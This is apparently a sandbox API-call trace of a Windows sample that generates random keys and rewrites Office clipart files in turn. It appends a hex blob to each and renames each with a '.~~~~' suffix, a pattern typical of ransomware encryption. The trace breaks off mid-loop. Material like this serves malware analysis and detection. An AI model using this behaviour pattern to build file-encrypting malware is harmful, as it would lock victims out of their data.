	[0110.498] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.498] GetLastError () returned 0x0
	[0110.498] GetLastError () returned 0x0
	[0110.595] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe48c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.595] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x1b74, lpOverlapped=0x0) returned 1
	[0110.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.603] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.604] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.611] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.628] CloseHandle (hObject=0x11c) returned 1
	[0110.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.~~~~")) returned 1
	[0110.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.658] GetLastError () returned 0x0
	[0110.659] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.661] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.661] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23065106746) returned 1
	[0110.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab929370, dwHighDateTime=0x1d60e1e)) 
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6a40
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a40 | out: hHeap=0x300000) returned 1
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c258
	[0110.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.662] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.662] GetLastError () returned 0x0
	[0110.662] GetLastError () returned 0x0
	[0110.662] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.662] GetLastError () returned 0x0
	[0110.662] GetLastError () returned 0x0
	[0110.665] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff6e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.665] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x918, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x918, lpOverlapped=0x0) returned 1
	[0110.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.666] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.666] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.667] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.667] CloseHandle (hObject=0x11c) returned 1
	[0110.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.~~~~")) returned 1
	[0110.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.668] GetLastError () returned 0x0
	[0110.669] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.670] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.670] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.670] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23066026452) returned 1
	[0110.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab929370, dwHighDateTime=0x1d60e1e)) 
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b90
	[0110.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b90 | out: hHeap=0x300000) returned 1
	[0110.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cd08
	[0110.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.671] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.671] GetLastError () returned 0x0
	[0110.671] GetLastError () returned 0x0
	[0110.671] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.671] GetLastError () returned 0x0
	[0110.672] GetLastError () returned 0x0
	[0110.678] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffbc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.678] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x43c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x43c, lpOverlapped=0x0) returned 1
	[0110.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.683] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.683] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.686] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.686] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.686] CloseHandle (hObject=0x11c) returned 1
	[0110.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.~~~~")) returned 1
	[0110.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.688] GetLastError () returned 0x0
	[0110.688] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.689] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.689] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.689] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23067960114) returned 1
	[0110.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab94f4d0, dwHighDateTime=0x1d60e1e)) 
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6bc8
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6bc8 | out: hHeap=0x300000) returned 1
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cda0
	[0110.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.690] GetLastError () returned 0x0
	[0110.691] GetLastError () returned 0x0
	[0110.691] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.691] GetLastError () returned 0x0
	[0110.691] GetLastError () returned 0x0
	[0110.693] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffb8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.693] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x474, lpOverlapped=0x0) returned 1
	[0110.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.695] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.695] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.695] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.695] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.695] CloseHandle (hObject=0x11c) returned 1
	[0110.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.~~~~")) returned 1
	[0110.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.697] GetLastError () returned 0x0
	[0110.697] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.698] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.698] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.698] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23068856286) returned 1
	[0110.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab975630, dwHighDateTime=0x1d60e1e)) 
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c00
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c00 | out: hHeap=0x300000) returned 1
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ce38
	[0110.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.699] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.699] GetLastError () returned 0x0
	[0110.700] GetLastError () returned 0x0
	[0110.700] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.700] GetLastError () returned 0x0
	[0110.700] GetLastError () returned 0x0
	[0110.717] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff994, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.717] WriteFile (in: hFile=0x11c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x66c, lpOverlapped=0x0) returned 1
	[0110.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.717] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.718] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.718] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.718] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.718] CloseHandle (hObject=0x11c) returned 1
	[0110.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3c60
	[0110.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.~~~~")) returned 1
	[0110.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3c60 | out: hHeap=0x300000) returned 1
	[0110.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.719] GetLastError () returned 0x0
	[0110.829] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.850] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.850] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.851] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23084088689) returned 1
	[0110.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xabaf23f0, dwHighDateTime=0x1d60e1e)) 
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d8e8
